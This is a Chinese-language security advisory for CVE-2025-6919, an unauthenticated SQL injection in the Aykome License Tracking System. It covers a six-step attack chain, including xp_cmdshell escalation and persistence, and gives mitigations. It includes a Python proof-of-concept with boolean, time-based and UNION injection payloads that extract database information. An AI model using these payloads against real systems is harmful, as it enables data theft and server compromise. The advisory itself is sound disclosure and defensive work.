IPBUF安全漏洞报告
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CVE-2025-6919 CVSS 9.8 严重

CVE-2025-6919:Aykome许可证追踪系统SQL注入漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-6919
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Cats Information Technology Software Development Technologies Aykome License Tracking System

相关标签

SQL注入SQL InjectionCWE-89AykomeLicense Tracking SystemCats Information Technology高危漏洞未认证漏洞远程利用USOM

漏洞概述

CVE-2025-6919是存在于Cats Information Technology Software Development Technologies公司开发的Aykome License Tracking System(许可证追踪系统)中的一个高危SQL注入漏洞。该漏洞由土耳其国家网络安全中心(USOM)的研究人员发现并报告,CVSS评分为9.8分,属于严重级别。Aykome License Tracking System是一款用于许可证管理和追踪的企业级软件系统,主要用于政府部门或大型组织的许可证申请、审批、追踪和管理流程。

该漏洞的根本原因在于系统对用户输入的特殊元素未能进行充分的过滤和中和处理,攻击者可以通过构造恶意的SQL语句注入到系统数据库查询中。由于该漏洞无需任何认证即可利用,且可以通过网络远程触发,同时对机密性、完整性和可用性均产生高影响,因此构成了极高的安全风险。

该漏洞影响2025年10月6日之前的所有版本。攻击者成功利用此漏洞后,可以完全控制后台数据库,获取敏感信息(如用户凭证、个人数据、许可证信息等),修改或删除数据库中的数据,甚至可能通过数据库特性实现远程代码执行。考虑到该系统通常用于处理许可证相关的敏感业务数据,该漏洞可能对受影响的组织造成严重的数据泄露和业务中断风险。建议所有使用该系统的组织立即检查并升级到最新版本。

技术细节

该漏洞属于典型的SQL注入(SQL Injection)漏洞,具体表现为'Improper Neutralization of Special Elements used in an SQL Command'(未对SQL命令中使用的特殊元素进行充分中和处理)。

从技术层面分析,该漏洞的产生原因是系统在处理用户输入参数时,未能对SQL关键字和特殊字符(如单引号'、双引号"、分号;、注释符--、UNION、SELECT等)进行充分的过滤、转义或参数化处理,而是直接将用户输入拼接到SQL查询语句中执行。这使得攻击者可以通过精心构造的恶意输入改变原始SQL查询的语义和逻辑。

利用方式方面,攻击者首先需要识别系统中存在用户输入处理的接口(如登录页面、搜索功能、数据查询接口等),然后通过在这些接口中注入恶意SQL片段来实施攻击。典型的攻击payload包括:
1. 基于UNION的注入:通过UNION SELECT语句获取数据库中的其他表数据
2. 基于布尔的盲注:通过布尔条件判断逐步推断数据库内容
3. 基于时间的盲注:通过SLEEP等函数判断注入是否成功
4. 基于错误的注入:通过触发数据库错误获取敏感信息

由于该漏洞具有无需认证(PR:N)、无需用户交互(UI:N)、网络可利用(AV:N)且攻击复杂度低(AC:L)的特点,攻击者可以非常容易地实施远程攻击。一旦成功利用,攻击者可以读取、修改或删除数据库中的任意数据,甚至可能利用数据库的xp_cmdshell(SQL Server)或类似功能实现操作系统级别的命令执行,从而完全控制服务器。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过网络扫描或搜索引擎识别暴露在公网上的Aykome License Tracking System实例,确定目标系统的版本和可访问的接口端点。
STEP 2
步骤2:漏洞探测
攻击者向系统中的输入参数(如ID、搜索关键字、用户名等)注入特殊SQL字符(如单引号、UNION SELECT、SLEEP等),通过响应差异或时间延迟确认SQL注入漏洞的存在。
STEP 3
步骤3:注入Payload构造
根据探测结果,攻击者构造合适的SQL注入payload,可采用UNION联合查询、布尔盲注、时间盲注或报错注入等多种方式。
STEP 4
步骤4:数据提取
攻击者利用注入漏洞执行任意SQL查询,逐步提取数据库中的敏感信息,包括管理员凭证、用户数据、许可证信息等。
STEP 5
步骤5:权限提升与持久化
攻击者可能利用数据库特性(如xp_cmdshell、UDF等)实现操作系统级别的命令执行,获取服务器控制权,并植入后门实现持久化访问。
STEP 6
步骤6:数据破坏或泄露
攻击者可以修改、删除数据库中的关键数据,或将敏感数据外泄,对组织造成数据泄露和业务中断等严重后果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-6919 - Aykome License Tracking System SQL Injection PoC # Vulnerability: Unauthenticated SQL Injection via improper input neutralization # Affected: Aykome License Tracking System before version dated 06.10.2025 import requests import sys TARGET_URL = "http://target-host/path-to-vulnerable-endpoint" def detect_sql_injection(url, param_name="id"): """Detect SQL injection vulnerability""" # Normal request normal_payload = "1" # Boolean-based test payload true_payload = "1' OR '1'='1" false_payload = "1' OR '1'='2" try: # Test for boolean-based blind SQLi r_true = requests.get(url, params={param_name: true_payload}, timeout=10) r_false = requests.get(url, params={param_name: false_payload}, timeout=10) if len(r_true.text) != len(r_false.text) and r_true.status_code == 200: print(f"[+] Boolean-based SQLi detected at parameter: {param_name}") return True # Test for time-based blind SQLi time_payload = "1' AND SLEEP(5)-- -" import time start = time.time() requests.get(url, params={param_name: time_payload}, timeout=15) elapsed = time.time() - start if elapsed >= 5: print(f"[+] Time-based SQLi detected at parameter: {param_name}") return True except Exception as e: print(f"[-] Error during detection: {e}") return False def exploit_union_sqli(url, param_name="id", columns=5): """Exploit UNION-based SQL injection to extract data""" # Build UNION SELECT payload nulls = ",".join([str(i) for i in range(1, columns + 1)]) union_payload = f"-1' UNION SELECT {nulls}-- -" try: r = requests.get(url, params={param_name: union_payload}, timeout=10) if r.status_code == 200: print(f"[+] UNION injection successful") print(f"[+] Response: {r.text[:500]}") return r.text except Exception as e: print(f"[-] Exploitation error: {e}") return None def extract_database_info(url, param_name="id"): """Extract database version and current user via SQLi""" payload = "-1' UNION SELECT 1,version(),current_user(),database(),5-- -" try: r = requests.get(url, params={param_name: payload}, timeout=10) if r.status_code == 200 and "error" not in r.text.lower(): print(f"[+] Database info extracted") return r.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print(f"[*] Testing target: {TARGET_URL}") if detect_sql_injection(TARGET_URL): print("[*] Attempting data extraction...") exploit_union_sqli(TARGET_URL) extract_database_info(TARGET_URL)

影响范围

Cats Information Technology Aykome License Tracking System < 2025-10-06版本

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在Web应用防火墙(WAF)中添加针对SQL注入的规则集,拦截常见的注入payload;2)限制Aykome License Tracking System的网络访问范围,仅允许可信IP地址访问;3)监控数据库的异常查询行为,特别是包含UNION、SLEEP、xp_cmdshell等关键字的查询;4)对数据库账户进行权限降级,移除不必要的系统级权限;5)启用数据库审计日志,记录所有可疑的数据库操作;6)定期备份重要数据,以便在遭受攻击后能够快速恢复。

参考链接

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